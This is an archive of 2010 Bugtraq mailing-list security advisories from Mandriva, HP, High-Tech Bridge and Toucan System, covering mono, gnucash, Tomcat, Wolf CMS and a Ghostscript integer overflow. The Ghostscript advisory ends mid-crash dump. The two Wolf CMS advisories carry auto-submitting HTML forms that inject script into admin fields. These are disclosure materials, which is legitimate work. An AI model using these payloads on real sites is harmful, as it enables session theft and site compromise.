cdb00744828461cf55be5370acb3cb92  mes5/i586/mono-jscript-1.9.1-5.3mdvmes5.1.i586.rpm
27732d7e089e84d95f06099b8e44f96b  mes5/i586/mono-locale-extras-1.9.1-5.3mdvmes5.1.i586.rpm
7484e7ff119930d9b8c4a414f3fc9783  mes5/i586/mono-nunit-1.9.1-5.3mdvmes5.1.i586.rpm
e3e7e3e196d706da76982e4e86463cac  mes5/i586/mono-web-1.9.1-5.3mdvmes5.1.i586.rpm
7fde5d80d35fc2c6744fe2e77cb8b64e  mes5/i586/mono-winforms-1.9.1-5.3mdvmes5.1.i586.rpm
75d56292fbb462e72e509b4ba2a9f5ce  mes5/SRPMS/mono-1.9.1-5.3mdvmes5.1.src.rpm

Mandriva Enterprise Server 5/X86_64:
a99769f7fd3870d8c3e4418ee1abc92a  mes5/x86_64/jay-1.9.1-5.3mdvmes5.1.x86_64.rpm
e72c0eae3cf60065d37b45aade8ed42e  mes5/x86_64/lib64mono0-1.9.1-5.3mdvmes5.1.x86_64.rpm
44fef3ddf57ed16c6c63b2414699730c  mes5/x86_64/lib64mono-devel-1.9.1-5.3mdvmes5.1.x86_64.rpm
1e48c430c0b34780aa809c49f8f64fb1  mes5/x86_64/mono-1.9.1-5.3mdvmes5.1.x86_64.rpm
2d8b7335571c6b1009f0893c71eafb1e  mes5/x86_64/mono-bytefx-data-mysql-1.9.1-5.3mdvmes5.1.x86_64.rpm
9393e6b51d64324398098a71094ab7b0  mes5/x86_64/mono-data-1.9.1-5.3mdvmes5.1.x86_64.rpm
68cc12f5f05aea3def289d96c7c51054  mes5/x86_64/mono-data-firebird-1.9.1-5.3mdvmes5.1.x86_64.rpm
02bbf6b33203e55a3227cc379562c94c  mes5/x86_64/mono-data-oracle-1.9.1-5.3mdvmes5.1.x86_64.rpm
4e1d66f19147f7c7155786f74b45ea40  mes5/x86_64/mono-data-postgresql-1.9.1-5.3mdvmes5.1.x86_64.rpm
62c565fc6b242842aa5a1703f0d35250  mes5/x86_64/mono-data-sqlite-1.9.1-5.3mdvmes5.1.x86_64.rpm
3f12ef5757e7dd0760b9fe1db3180e4c  mes5/x86_64/mono-data-sybase-1.9.1-5.3mdvmes5.1.x86_64.rpm
8b971a34a1cf24095b371a3f394922a8  mes5/x86_64/mono-doc-1.9.1-5.3mdvmes5.1.x86_64.rpm
7ce50a2a4916428307b88d16a793cf35  mes5/x86_64/mono-extras-1.9.1-5.3mdvmes5.1.x86_64.rpm
f3467ac6fbccb905ec5deada8f38a4d0  mes5/x86_64/mono-ibm-data-db2-1.9.1-5.3mdvmes5.1.x86_64.rpm
c51437c5cf40dddd1e9aaf18aac837b4  mes5/x86_64/mono-jscript-1.9.1-5.3mdvmes5.1.x86_64.rpm
0b91fc423dec951c6e420eef99c46bab  mes5/x86_64/mono-locale-extras-1.9.1-5.3mdvmes5.1.x86_64.rpm
092dd2f5515c2fca5cbb255e4c643251  mes5/x86_64/mono-nunit-1.9.1-5.3mdvmes5.1.x86_64.rpm
77df62860acb1cb6fce70ae0a15fc072  mes5/x86_64/mono-web-1.9.1-5.3mdvmes5.1.x86_64.rpm
b3ff1dd61e67a3544fe17d5e12921534  mes5/x86_64/mono-winforms-1.9.1-5.3mdvmes5.1.x86_64.rpm
75d56292fbb462e72e509b4ba2a9f5ce  mes5/SRPMS/mono-1.9.1-5.3mdvmes5.1.src.rpm
_______________________________________________________________________

To upgrade automatically use MandrivaUpdate or urpmi.  The verification
of md5 checksums and GPG signatures is performed automatically for you.

All packages are signed by Mandriva for security.  You can obtain the
GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
_______________________________________________________________________

Type Bits/KeyID     Date       User ID
pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFM7To+mqjQ0CJFipgRAm7GAJ9beWdn+QOyl11T+poIMs1UtfMgIwCg9lDw
veCodOlt2IqKjtV7b9gNWf0=eiOn
-----END PGP SIGNATURE-----

From - Thu Nov 25 19:37:01 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127d8
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45361-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 47C16EC124
for <lists@securityspace.com>; Thu, 25 Nov 2010 11:32:56 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id C474B2370D1; Thu, 25 Nov 2010 09:19:51 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 8434 invoked from network); 24 Nov 2010 20:42:04 -0000
To: bugtraq@securityfocus.com
Subject: [ MDVSA-2010:241 ] gnucash
Date: Wed, 24 Nov 2010 21:42:01 +0100
From: security@mandriva.com
Reply-To: <xsecurity@mandriva.com>
Message-Id: <E1PLMAD-0003FX-3Q@titan.mandriva.com>
Status: RO

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

_______________________________________________________________________

Mandriva Linux Security Advisory                         MDVSA-2010:241
http://www.mandriva.com/security/
_______________________________________________________________________

Package : gnucash
Date    : November 24, 2010
Affected: 2010.0, 2010.1
_______________________________________________________________________

Problem Description:

A vulnerability was discovered and corrected in gnucash:

gnc-test-env in GnuCash 2.3.15 and earlier places a zero-length
directory name in the LD_LIBRARY_PATH, which allows local users to
gain privileges via a Trojan horse shared library in the current
working directory (CVE-2010-3999).

The affected /usr/bin/gnc-test-env file has been removed to mitigate
the CVE-2010-3999 vulnerability as gnc-test-env is only used for
tests and while building gnucash.

Additionally for Mandriva 2010.1 gnucash-2.2.9 was not compatible
with guile. This update adapts gnucash to the new API of guile.
_______________________________________________________________________

References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3999
https://qa.mandriva.com/59304
_______________________________________________________________________

Updated Packages:

Mandriva Linux 2010.0:
56cf958fe980c5a0200c4ee9a83ea97f  2010.0/i586/gnucash-2.2.9-4.1mdv2010.0.i586.rpm
c7479e27310a06eaf93a5eb0c0e858e5  2010.0/i586/gnucash-hbci-2.2.9-4.1mdv2010.0.i586.rpm
1297d123c6f533b5430089bbdd82f43e  2010.0/i586/gnucash-ofx-2.2.9-4.1mdv2010.0.i586.rpm
515b01c7d01e108712e9899f373142fa  2010.0/i586/gnucash-sql-2.2.9-4.1mdv2010.0.i586.rpm
d0df126101c1b36c12fa50368e08765c  2010.0/i586/libgnucash0-2.2.9-4.1mdv2010.0.i586.rpm
3a9ea97884237c0806e30551cbde20de  2010.0/i586/libgnucash-devel-2.2.9-4.1mdv2010.0.i586.rpm
9dacaaaf7a396cc1dfd41e4f70fd3abe  2010.0/SRPMS/gnucash-2.2.9-4.1mdv2010.0.src.rpm

Mandriva Linux 2010.0/X86_64:
2a5205e0b385b3d075eba704b70fd546  2010.0/x86_64/gnucash-2.2.9-4.1mdv2010.0.x86_64.rpm
8302623562d64617f4ea24ecb4435a63  2010.0/x86_64/gnucash-hbci-2.2.9-4.1mdv2010.0.x86_64.rpm
dfe6fb4bb37b6e5d11655ceec2d769fb  2010.0/x86_64/gnucash-ofx-2.2.9-4.1mdv2010.0.x86_64.rpm
618d692845b97a450222742901a544bc  2010.0/x86_64/gnucash-sql-2.2.9-4.1mdv2010.0.x86_64.rpm
9141713f798d366397a2ec986d1c21c0  2010.0/x86_64/lib64gnucash0-2.2.9-4.1mdv2010.0.x86_64.rpm
a513d026d03c8de42580865b0b45e2bc  2010.0/x86_64/lib64gnucash-devel-2.2.9-4.1mdv2010.0.x86_64.rpm
9dacaaaf7a396cc1dfd41e4f70fd3abe  2010.0/SRPMS/gnucash-2.2.9-4.1mdv2010.0.src.rpm

Mandriva Linux 2010.1:
4cb058dc1f74fef7b4b3eb3a696685d9  2010.1/i586/gnucash-2.2.9-8.1mdv2010.1.i586.rpm
3331f3c7f123f22f513e5cd7806343fd  2010.1/i586/gnucash-hbci-2.2.9-8.1mdv2010.1.i586.rpm
f59bc5b7fbfaf74d2c7b201ebb99da28  2010.1/i586/gnucash-ofx-2.2.9-8.1mdv2010.1.i586.rpm
273cc89a4dc4853f14108a1a1943bb69  2010.1/i586/gnucash-sql-2.2.9-8.1mdv2010.1.i586.rpm
5af2c774e9eb77a8065bcc3f5a5d6a28  2010.1/i586/libgnucash0-2.2.9-8.1mdv2010.1.i586.rpm
850779757f61e59053f2449df7ee8048  2010.1/i586/libgnucash-devel-2.2.9-8.1mdv2010.1.i586.rpm
fbb320190b8294bc3db5ee1b0d2f85b3  2010.1/SRPMS/gnucash-2.2.9-8.1mdv2010.1.src.rpm

Mandriva Linux 2010.1/X86_64:
a07444c2b30334707a51745bf76c6551  2010.1/x86_64/gnucash-2.2.9-8.1mdv2010.1.x86_64.rpm
286b7a849261b8f1dc9c032b6e182a67  2010.1/x86_64/gnucash-hbci-2.2.9-8.1mdv2010.1.x86_64.rpm
da91c9d1a6e5c5f8560ac4d9f8302304  2010.1/x86_64/gnucash-ofx-2.2.9-8.1mdv2010.1.x86_64.rpm
9c7dd297b265a6eef2f23eeb05ffd290  2010.1/x86_64/gnucash-sql-2.2.9-8.1mdv2010.1.x86_64.rpm
6ef57480ae7da1991c101324430a961f  2010.1/x86_64/lib64gnucash0-2.2.9-8.1mdv2010.1.x86_64.rpm
90f9563f9f323fe42f7d37ab12632bfd  2010.1/x86_64/lib64gnucash-devel-2.2.9-8.1mdv2010.1.x86_64.rpm
fbb320190b8294bc3db5ee1b0d2f85b3  2010.1/SRPMS/gnucash-2.2.9-8.1mdv2010.1.src.rpm
_______________________________________________________________________

To upgrade automatically use MandrivaUpdate or urpmi.  The verification
of md5 checksums and GPG signatures is performed automatically for you.

All packages are signed by Mandriva for security.  You can obtain the
GPG public key of the Mandriva Security Team by executing:

  gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98

You can view other update advisories for Mandriva Linux at:

  http://www.mandriva.com/security/advisories

If you want to report vulnerabilities, please contact

  security_(at)_mandriva.com
_______________________________________________________________________

Type Bits/KeyID     Date       User ID
pub  1024D/22458A98 2000-07-10 Mandriva Security Team
  <security*mandriva.com>
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iD8DBQFM7UwFmqjQ0CJFipgRAkssAJ0YVPrj6+kerANWGsZRfaDWfq18dgCguRgq
5kjT/nubYxdyH5aHKNUIuvs=JfiB
-----END PGP SIGNATURE-----

From - Thu Nov 25 19:37:01 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127d9
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45362-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id CBCA6EC126
for <lists@securityspace.com>; Thu, 25 Nov 2010 11:42:41 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id B92BD23717F; Thu, 25 Nov 2010 09:20:08 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 13329 invoked from network); 24 Nov 2010 22:21:42 -0000
From: security-alert@hp.com
To: bugtraq@securityfocus.com
Subject: [security bulletin] HPSBUX02579 SSRT100203 rev.1 - HP-UX Apache Running Tomcat Servlet Engine, Remote Information Disclosure, Unauthorized
Message-Id: <20101124222139.B6DC62242CB@security.hp.com>
Date: Wed, 24 Nov 2010 15:21:39 -0700 (MST)
Status: RO

Modification, Denial of Service (DoS)

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

SUPPORT COMMUNICATION - SECURITY BULLETIN

Document ID: c02515878
Version: 1

HPSBUX02579 SSRT100203 rev.1 - HP-UX Apache Running Tomcat Servlet Engine, Remote Information Disclosure, Unauthorized

Modification, Denial of Service (DoS)

NOTICE: The information in this Security Bulletin should be acted upon as soon as possible.

Release Date: 2010-11-23
Last Updated: 2010-11-23

------------------------------------------------------------------------------

Potential Security Impact: Remote information disclosure, unauthorized modification, or Denial of Service (DoS).

Source: Hewlett-Packard Company, HP Software Security Response Team

VULNERABILITY SUMMARY
Potential security vulnerabilities have been identified with HP-UX Apache Running Tomcat Servlet Engine. These

vulnerabilities could be exploited remotely to disclose information, allows unauthorized modification, or create a Denial

of Service (DoS). The Tomcat-based Servlet Engine is contained in the HP-UX Apache Web Server Suite.

References: CVE-2010-2227, CVE-2010-1157, CVE-2009-0783, CVE-2009-0781, CVE-2009-0580, CVE-2009-0033, CVE-2008-5515

SUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed.
HP-UX B.11.23, B.11.31 running HP-UX Apache Web Server Suite v3.12 or earlier

BACKGROUND

CVSS 2.0 Base Metrics
==========================================================  Reference              Base Vector             Base Score
CVE-2010-2227    (AV:N/AC:L/Au:N/C:P/I:N/A:P)       6.4
CVE-2010-1157    (AV:N/AC:L/Au:N/C:P/I:N/A:N)       5.0
CVE-2009-0783    (AV:L/AC:L/Au:N/C:P/I:P/A:N)       3.6
CVE-2009-0781    (AV:N/AC:M/Au:N/C:N/I:P/A:N)       4.3
CVE-2009-0580    (AV:N/AC:M/Au:N/C:P/I:N/A:N)       4.3
CVE-2009-0033    (AV:N/AC:L/Au:N/C:N/I:N/A:P)       5.0
CVE-2008-5515    (AV:N/AC:L/Au:N/C:P/I:N/A:N)       5.0
==========================================================             Information on CVSS is documented
            in HP Customer Notice: HPSN-2008-002

RESOLUTION

HP has provided the following software updates to resolve the vulnerabilities.
The updates are available for download from http://software.hp.com
Note: HP-UX Web Server Suite v3.13 contains HP-UX Tomcat-based Servlet Engine v5.5.30.01

Web Server Suite Version / Apache Depot name

HP-UX Web Server Suite v.3.13
HPUXWS22ATW-B313-32.depot

HPUXWS22ATW-B313-64.depot

MANUAL ACTIONS: Yes - Update
Install HP-UX Web Server Suite v3.13 or subsequent.

PRODUCT SPECIFIC INFORMATION

HP-UX Software Assistant: HP-UX Software Assistant is an enhanced application that replaces HP-UX Security Patch Check. It analyzes all Security Bulletins issued by HP and lists recommended actions that may apply to a specific HP-UX system. It can also download patches and create a depot automatically. For more information see https://www.hp.com/go/swa

The following text is for use by the HP-UX Software Assistant.

AFFECTED VERSIONS

HP-UX Web Server Suite

HP-UX B.11.23
HP-UX B.11.31
=================hpuxws22TOMCAT.TOMCAT
action: install revision B.5.5.30.01 or subsequent

END AFFECTED VERSIONS

HISTORY
Version:1 (rev.1) - 23 November 2010 Initial release

Third Party Security Patches: Third party security patches that are to be installed on systems running HP software products should be applied in accordance with the customer's patch management policy.

Support: For further information, contact normal HP Services support channel.

Report: To report a potential security vulnerability with any HP supported product, send Email to: security-alert@hp.com
It is strongly recommended that security related information being communicated to HP be encrypted using PGP, especially exploit information.
To get the security-alert PGP key, please send an e-mail message as follows:
  To: security-alert@hp.com
  Subject: get key
Subscribe: To initiate a subscription to receive future HP Security Bulletins via Email:
http://h30046.www3.hp.com/driverAlertProfile.php?regioncode=NA&langcode=USENG&jumpid=in_SC-GEN__driverITRC&topiccode=ITRC
On the web page: ITRC security bulletins and patch sign-up
Under Step1: your ITRC security bulletins and patches
    -check ALL categories for which alerts are required and continue.
Under Step2: your ITRC operating systems
    -verify your operating system selections are checked and save.

To update an existing subscription: http://h30046.www3.hp.com/subSignIn.php
Log in on the web page: Subscriber's choice for Business: sign-in.
On the web page: Subscriber's Choice: your profile summary - use Edit Profile to update appropriate sections.

To review previously published Security Bulletins visit: http://www.itrc.hp.com/service/cki/secBullArchive.do

* The Software Product Category that this Security Bulletin
relates to is represented by the 5th and 6th characters
of the Bulletin number in the title:

GN = HP General SW
MA = HP Management Agents
MI = Misc. 3rd Party SW
MP = HP MPE/iX
NS = HP NonStop Servers
OV = HP OpenVMS
PI = HP Printing & Imaging
ST = HP Storage SW
TL = HP Trusted Linux
TU = HP Tru64 UNIX
UX = HP-UX
VV = HP VirtualVault

System management and security procedures must be reviewed frequently to maintain system integrity. HP is continually reviewing and enhancing the security features of software products to provide customers with current secure solutions.

"HP is broadly distributing this Security Bulletin in order to bring to the attention of users of the affected HP products the important security information contained in this Bulletin. HP recommends that all users determine the applicability of this information to their individual situations and take appropriate action. HP does not warrant that this information is necessarily accurate or complete for all user situations and, consequently, HP will not be responsible for any damages resulting from user's use or disregard of the information provided in this Bulletin. To the extent permitted by law, HP disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose, title and non-infringement."

Copyright 2010 Hewlett-Packard Development Company, L.P.
Hewlett-Packard Company shall not be liable for technical or editorial errors or omissions contained herein. The information provided is provided "as is" without warranty of any kind. To the extent permitted by law, neither HP or its affiliates, subcontractors or suppliers will be liable for incidental,special or consequential damages including downtime cost; lost profits;damages relating to the procurement of substitute products or services; or damages for loss of data, or software restoration. The information in this document is subject to change without notice. Hewlett-Packard Company and the names of Hewlett-Packard products referenced herein are trademarks of Hewlett-Packard Company in the United States and other countries. Other product and company names mentioned herein may be trademarks of their respective owners.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (GNU/Linux)

iEYEARECAAYFAkzsg8IACgkQ4B86/C0qfVlFEQCg1wPaYQ84EkeiOjNAkrLGPVnQ
1aQAoK/qC5XheL13hyynXvA/jfWdKwQ0
=jKnI
-----END PGP SIGNATURE-----

From - Thu Nov 25 19:37:02 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127da
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45363-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id CC619EC126
for <lists@securityspace.com>; Thu, 25 Nov 2010 11:49:18 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id BB32323718A; Thu, 25 Nov 2010 09:20:22 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32157 invoked from network); 25 Nov 2010 09:51:00 -0000
Date: Thu, 25 Nov 2010 10:49:49 +0100 (CET)
Message-Id: <201011250949.oAP9nnIB097905@htbridge.ch>
MIME-Version: 1.0
From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Subject: XSS vulnerability in Wolf CMS
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="UTF-8"
Status: RO

Vulnerability ID: HTB22679
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms_1.html
Product: Wolf CMS
Vendor: Wolf CMS team ( http://www.wolfcms.org/ )
Vulnerable Version: 0.6.0b and probably prior versions
Vendor Notification: 09 November 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "wolf/app/controllers/SettingController.php" script to properly sanitize user-supplied input in "setting[admin_title]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/setting" method="post" name="main">

<input type="hidden" name="setting[admin_title]" value='Wolf CMS"><script>alert(document.cookie)</script>'>
<input type="hidden" name="setting[admin_email]" value="email@example.com">
<input type="hidden" name="setting[language]" value="pl">
<input type="hidden" name="setting[theme]" value="brown_and_green">
<input type="hidden" name="setting[default_tab]" value="page">
<input type="hidden" name="setting[default_status_id]" value="1">
<input type="hidden" name="setting[default_filter_id]" value="">
<input type="hidden" name="commit" value="Save">

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version

From - Thu Nov 25 19:37:02 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127db
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45364-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 4E65DEC126
for <lists@securityspace.com>; Thu, 25 Nov 2010 11:58:50 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id C9B39237289; Thu, 25 Nov 2010 09:20:34 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 32175 invoked from network); 25 Nov 2010 09:51:04 -0000
Date: Thu, 25 Nov 2010 10:49:55 +0100 (CET)
Message-Id: <201011250949.oAP9nt6x097935@htbridge.ch>
MIME-Version: 1.0
From: advisory@htbridge.ch
To: bugtraq@securityfocus.com
Subject: XSS vulnerability in Wolf CMS
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset="UTF-8"
Status: RO

Vulnerability ID: HTB22678
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_wolf_cms.html
Product: Wolf CMS
Vendor: Wolf CMS team ( http://www.wolfcms.org/ )
Vulnerable Version: 0.6.0b and probably prior versions
Vendor Notification: 09 November 2010
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Fixed by Vendor
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "wolf/app/controllers/PageController.php" script to properly sanitize user-supplied input in "page[description]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/page/edit/PAGE_ID" method="post" name="main">

<input type="hidden" name="page[parent_id]" value="1">
<input type="hidden" name="page[title]" value="Page title">
<input type="hidden" name="page[slug]" value="sef_url">
<input type="hidden" name="page[breadcrumb]" value="breadcrumb">
<input type="hidden" name="page[keywords]" value="">
<input type="hidden" name="page[description]" value='descr"><script>alert(document.cookie)</script>'>
<input type="hidden" name="page_tag[tags]" value="">
<input type="hidden" name="page[layout_id]" value="">
<input type="hidden" name="page[behavior_id]" value="">
<input type="hidden" name="page[created_on]" value="2010-10-22">
<input type="hidden" name="page[created_on_time]" value="06:15:18">
<input type="hidden" name="page[published_on]" value="2010-10-22">
<input type="hidden" name="page[published_on_time]" value="06:15:18">
<input type="hidden" name="page[needs_login]" value="2">
<input type="hidden" name="part[0][name]" value="body">
<input type="hidden" name="part[0][id]" value="11">
<input type="hidden" name="part[0][filter_id]" value="textile">
<input type="hidden" name="part[0][content]" value="This is a page">
<input type="hidden" name="part[1][name]" value="sidebar">
<input type="hidden" name="part[1][id]" value="12">
<input type="hidden" name="part[1][filter_id]" value="">
<input type="hidden" name="part[1][content]" value="">
<input type="hidden" name="page[status_id]" value="100">
<input type="hidden" name="commit" value="Save and Close">

</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent version

From - Thu Nov 25 19:37:03 2010
X-Account-Key: account7
X-UIDL: 4cc06000000127dc
X-Mozilla-Status: 0000
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:
Return-Path: <bugtraq-return-45372-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 53F94EC0EE
for <lists@securityspace.com>; Thu, 25 Nov 2010 12:01:51 -0500 (EST)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id C5BB214394A; Thu, 25 Nov 2010 09:23:52 -0700 (MST)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 6463 invoked from network); 25 Nov 2010 16:12:54 -0000
MIME-Version: 1.0
X-Originating-IP: [82.231.205.169]
Date: Thu, 25 Nov 2010 17:12:00 +0100
Message-ID: <AANLkTik4rJS0zkC-v7AjcOcQ+vuadccEcY8kqe5vVxQJ@mail.gmail.com>
Subject: TSSA-2010-01 Ghostscript library Ins_MINDEX() integer overflow and
heap corruption
From: Advisories Toucan-System <advisories@toucan-system.com>
To: bugtraq@securityfocus.com
Content-Type: text/plain; charset=ISO-8859-1
Status: RO

--------------------------------------------------------------------------------------
*           Ghostscript library Ins_MINDEX() off by one,        *
*               integer overflow and heapcorruption                  *
--------------------------------------------------------------------------------------

--[ Vulnerability Summary:

Date Published: 31/08/2010
Last Update: 31/08/2010
Advisory ID: TSSA-2010-01
CVE Name: CVE-2009-3743
Title: Ghostscript library Ins_MINDEX() integer overflow and heap corruption
Class: Heap Corruption
Remotely Exploitable: Yes
Locally Exploitable: No
Impact: Remote Denial of Service
Advisory URL: http://www.toucan-system.com/advisories/tssa-2010-01.txt

--[ Synopsis:

    An off by one in the library libgs.so.8 shipped with Ghostscript in
    versions <= 8.70 generates an integer overflow, which in turn
    produces a heap corruption, resulting in a (remote) Denial of Service
    (crash) in several applications using this library when processing a
    specially crafted font.
    This vulnerability cannot be exploited to execute arbitrary code under
    GNU/Linux x86, to the best of our knowledge. Other targets, in
    particular Windows have not been tested and may or may not allow
    execution of arbitrary code.

--[ Vulnerability details:

memove() is defined in string.h and has the following prototype:

    void *memmove(void *dest, const void *src, size_t n);

It is worth noticing that size_t is a signed integer.

In ghostscript-8.70.dfsg.1/base/ttinterp.c we can find the following code
snippet:

/*******************************************/
/* MINDEX[]  : move indexed element        */
/* CodeRange : $26                         */

  static void  Ins_MINDEX( INS_ARG )
  {
    Long  L, K;                    [0]

    L = args[0];                [1]

    if ( L<0 || L > CUR.args )            [2]
    {
      CUR.error = TT_Err_Invalid_Reference;
      return;
    }

    K = CUR.stack[CUR.args - L];        [3]

    memmove( (&CUR.stack[CUR.args - L    ]),    [4]
              (&CUR.stack[CUR.args - L + 1]),
              (L - 1) * sizeof ( Long ) );

    CUR.stack[ CUR.args-1 ] = K;
  }

[0] L is actually an unsigned long on x86.
[1] L is user controled.
[2] what if L is null then ?
[3] will work fine with L null...
[4] if L was null, then the sized passed to memmove is casted from an
unsigned long to a signed integer (size_t) worthing
111111111111111111111111111111 in binary, or 0x3fffffff.

Let's now consider the third argument passed to memmove in [4]. This
value is used as a counter in register ecx, resulting in the copy of a very
large chunk of memory (0x3fffffff ~= 1Gb). At this time, the destination being
somewhere in the heap, the appliation will eventually fill the heap segment
with (unexpected) data, and the copy will fail when trying to write to the
first non mapped address after the heap in the address space, generating a
segmentation fault.

Experimentally, reaching this codepath has shown to be possible.
The values of the registers (in particular ecx and edi) at crash time are
coherent with our expectations and the explaination above :

Program received signal SIGSEGV, Segmentation fault.
-------------------------------------------------------------------------[
regs
     eax:FFFFFFFC ebx:405B6FF4  ecx:3FF85061  edx:0807C844
